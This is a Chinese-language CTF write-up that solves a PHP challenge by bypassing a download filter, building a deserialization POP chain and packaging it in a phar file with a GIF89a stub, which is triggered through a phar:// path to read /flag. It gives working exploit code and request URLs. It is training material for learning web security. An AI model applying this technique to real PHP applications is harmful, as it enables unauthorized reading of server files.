xmctf-phar反序列化题目详解

web6-考核

题目类型

题目来自星盟ctf训练平台

是一道纯正的phar反序列化与代码审计结合的题目

关于phar反序列化

首先要做phar反序列化的话,得好好的补一下unserialize()的课了

做的时候要心里有数,得知道反序列化的时候触发哪些魔法方法,序列化的时候触发哪些魔法方法

我是这样理解的,本质上phar反序列化是跟unserialize反序列化一样的,只不过触发的方式不同罢了,你打开phar反序列化文件看,里面的形式跟unserialize就长得差不多

解题

入口

入口是download.php页面

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
   if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
       echo("hacker!");
  }
   else{
       if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
           echo ("hacker!");
      }
       else{
           $name = safe_replace($name);
           if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
               $filename = $name.'.php';
               $dir ="./";
               $down_host = $_SERVER['HTTP_HOST'].'/';
               if(file_exists(__DIR__.'/'.$dir.$filename)){
                   $file = fopen ( $dir.$filename, "rb" );
                   Header ( "Content-type: application/octet-stream" );
                   Header ( "Accept-Ranges: bytes" );
                   Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
                   Header ( "Content-Disposition: attachment; filename=" . $filename );
                   echo fread ( $file, filesize ( $dir . $filename ) );
                   fclose ( $file );
                   exit ();
              }else{
                   echo ("file doesn't exist.");
              }
          }
           if (preg_match('/flag/i', $name)){
               echo ("hacker!");
          }
      }
  }
}

初步看代码,注意这里的逻辑:

if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
           echo ("hacker!");
  } else {
    $name = safe_replace($name);
    if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
      .....

首先给你判断$name里面有没有被ban掉的关键字,如果有直接返回hacker

但是,如果没有的话,会给你safe_replace($name)过滤一下,然后再判断有没有,如果有才进行关键的文件读取操作

这样就很明确了,safe_replace没有源码给你看,但很显然是过滤一些符号,这里可以bp抓包fuzz一下,设置name =fi§§le,中间添加各种符号

fuzz出来是把反斜杠给替换成空字符,这样我们就能绕过代码逻辑然后下载所有源码

得到源码

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php';
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
   echo "<h2>There is no file to show!<h2/>";
}
if(preg_match('/http|https|file:|gopher|dict|php|zip|\.\/|\.\.|flag/i',$file)) {
           die('hacker!');
   if(substr($file,0,4)=='phar'){
               die('hacker!');
          }
}elseif(!preg_match('/\//i',$file))
{
   die('hacker!');
}
$show = new Show('');

if(file_exists($file)) {
   $show->source = $file;
   $show->_show();
} else if (!empty($file)){
   die('file doesn\'t exists.');
}
?>

class.php

<?php

class Show
{
   public $source;
   public $str;
   public function __construct($file)
  {
       $text= $this->source;
       $text = base64_encode(file_get_contents($text));
       return $text;
  }
   public function __toString()
  {
       $text= $this->source;
       $text = base64_encode(file_get_contents($text));
       return $text;
  }
   public function __set($key,$value)
  {
       $this->$key = $value;
  }
   public function _show()
  {
       if(preg_match('/http|https|file:|gopher|dict|zip|php|\.\.|flag/i',$this->source)) {
           die('hacker!');
      }
       if(substr($this->source,0,4)=='phar'){
           die('hacker!');
      }else {
           highlight_file($this->source);
      }
       
  }
   public function __wakeup()
  {
       if(preg_match("/http|https|file:|gopher|dict|zip|php|\.\./i", $this->source)) {
           echo "hacker~";
           $this->source = "index.php";
      }
  }
}
class S6ow
{
   public $file;
   public $params;
   public function __construct()
  {
       $this->params = array();
  }
   public function __get($key)
  {
       return $this->params[$key];
  }
   public function __call($name, $arguments)
  {
       if($this->{$name})
           $this->{$this->{$name}}($arguments);
  }
   public function file_get($value)
  {
       echo $this->file;
  }
}

class Sh0w
{
   public $test;
   public $str;
   public function __construct($name)
  {
       $this->str = new Show('index.php');
       $this->str->source = $this->test;

  }
   public function __destruct()
  {
       $this->str->_show();
  }
}
?>

其实核心源码就上面两个,主页的源码提示flag在/flag

这里如果你考虑过文件上传漏洞,那么很好,但是你会发现读取文件用的函数是

highlight_file($this->source);

所以传马是没用的,也不能直接读取flag文件

注意看第11行的过滤

如果不能看行号建议打开Typora设置里面的显示行号

    if(substr($file,0,4)=='phar'){

过滤了前4个字不为phar,要知道,我们是可以用骚操作绕过前四个字为phar来实现phar反序列化的

在仔细看文件上传,而且源码存在丰富的文件操作函数都可以触发phar反序列化,无疑了

目光转向class.php里面丰富的类与魔法方法

构造反序列化pop链

明确入口

首先明确,这里有3个类,我们到底要序列化哪一个类

也就是说,pop链的入口在哪

这里是很重要的一点,

要我们知道,unserialize操作中要触发的魔法方法是从最先的__weakup(),最后是最后销毁对象的__destruct()

由于3个show类长得太像了,所以下文称他们为show1,show2,show3

这里只有show1类里面有一个weakup,以及show3中的destruct

show1中的weakup感觉无用,所以我们肯定是要序列化show3

于是,大胆的写下第一句代码

$show3 = new Sh0w("");

还有很重要的一点,在构造序列化的时候,你一定要清楚,你最后是构造出一个类,序列化后是一个字符串,而你在构造的时候做的所有动态的操作,例如调用函数,定义静态变量等等,最后都是不能写进序列化字符串里面的,所以,你写的语句都应该是赋值语句

在调试的时候,你应该在最后写上序列化与反序列化操作来看看你的结果

include "class.php";

$show3 = new Sh0w("");
....

$s1 = serialize($show3);
echo $s1;
unserialize($s1);

明确出口

还有一点需要明确的是,你最后能在哪里看到flag

找一找上下文,如果是要看到flag,无非就是要echo出来,或者是highlight_file这样的函数,于是全文也只有31行与62行能够看到flag了

再看看各自的参数我们是否可控

首先,如果我们要用31行的highlight_file($this->source);拿到flag的话,那么$this->source必定要控制成类似于/flag ../../../../flag之类的

但是,看前面的过滤就知道应该是不可能的,死死的过滤了flag关键字,所以,我们只能看向62行的echo

关键点

echo在show2类里面,并且存在注意到show1类里面的__toString()也写了file_get_contents貌似能够读取出来flag并返回

如果我们能在这里echo出实例化的show1的话,并且$show1->source控制成/flag就行了

那么怎么能够触发file_get()函数呢,我们注意到show2类里面的__call()方法

    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }

__call()方法是在类调用不存在的函数时触发的魔法方法

如果show2类触发不存在的方法的话,就会进入__call()

例如,如果我们执行$show2->aaaaa();

那么$name = aaaaa;, 再结合__get()魔法方法,会寻找$this->params里面的键值对,并且取出来赋值给$this->{$name}这一坨,在调试的时候可以用var_dump($this->{$name});看一下。

我们在看看我们的入口

$this->str->_show();

很好,大家肯定以及发现了,如果我们把$this->str控制成show2实例的话,就能触发一个show2不存在的函数,然后进去call方法

所以,如果

$show2->params = array("_show"=>"file_get");

就能很好的连接我们的pop链

再次梳理

入口:$show3 = new Sh0w("");, 触发$this->str->_show();

控制:$this->str = new S6ow();

进入:public function __call($name, $arguments)

控制:$show3->str->params = array("_show"=>"file_get");

触发 :echo $this->file;

控制 :

$show3->str->file = new Show("");
$show3->str->file->source = "/flag";

由于echo后面接实例化对象的话,会触发对应类中的__toString()

于是整个echo $this->file;就变成了

$text= $this->source; //上面控制了source = "/flag"
$text = base64_encode(file_get_contents($text));
echo $text;

于是就返回了flag!

最后的poc

$show3 = new Sh0w("");
$show3->str = new S6ow();
$show3->str->file = new Show("");
$show3->str->file->source = "flag";
$show3->str->params = array("_show"=>"file_get");
//下面是验证poc的代码
$s1 = serialize($show3);
echo $s1;
unserialize($s1);

结合phar反序列化完成最后的步骤

<?php
include "class.php";


@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub


$show3 = new Sh0w("");
$show3->str = new S6ow();
$show3->str->file = new Show("");
$show3->str->file->source = "/flag";
$show3->str->params = array("_show"=>"file_get");


// $s1 = serialize($show3);
// echo $s1;
// unserialize($s1);
$phar->setMetadata($show3); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>

修改php.ini中的

phar.readonly = 0

然后运行生成phar.phar文件,修改后缀名为png,上传到题目服务器

根据提示计算文件名的md5值,

php -a
php > echo md5("phar.png");
ed54ee58cd01e120e27939fe4a64fa92

接下来是考虑在哪里触发phar反序列化了,我们观察file.php,也就是读取文件那个页面存在file_exists($file)语句可以直接触发反序列化,

在看一下过滤,实际上我们如果过了第一个条件的话,是进不了判断是否以phar开头的

所以我们直接写

/file.php?file=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.jpg

就可以成功返回flag的base64!

最后

php -a
php > echo base64_decode("eG1jdGZ7cGg0cl9zM3IxYWwxejNfMXNfZnU5IX0K");
xmctf{ph4r_s3r1al1z3_1s_fu9!}

写在后面

距离上次做ctf题目已经快3个月了,这次做的还是挺辛苦的

因为这是我第二次做phar反序列化的题目,上次是做懵了的,这次花了3h左右认真做完过后感觉收获到了许多

记得之前Orange大佬说过

···Web 狗如何在险恶的 CTF 世界中存活?

···怎么可能存活,想多了。

···为了存活下来,不得不强迫自己学习更多技能!

所以,学弟们加油!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇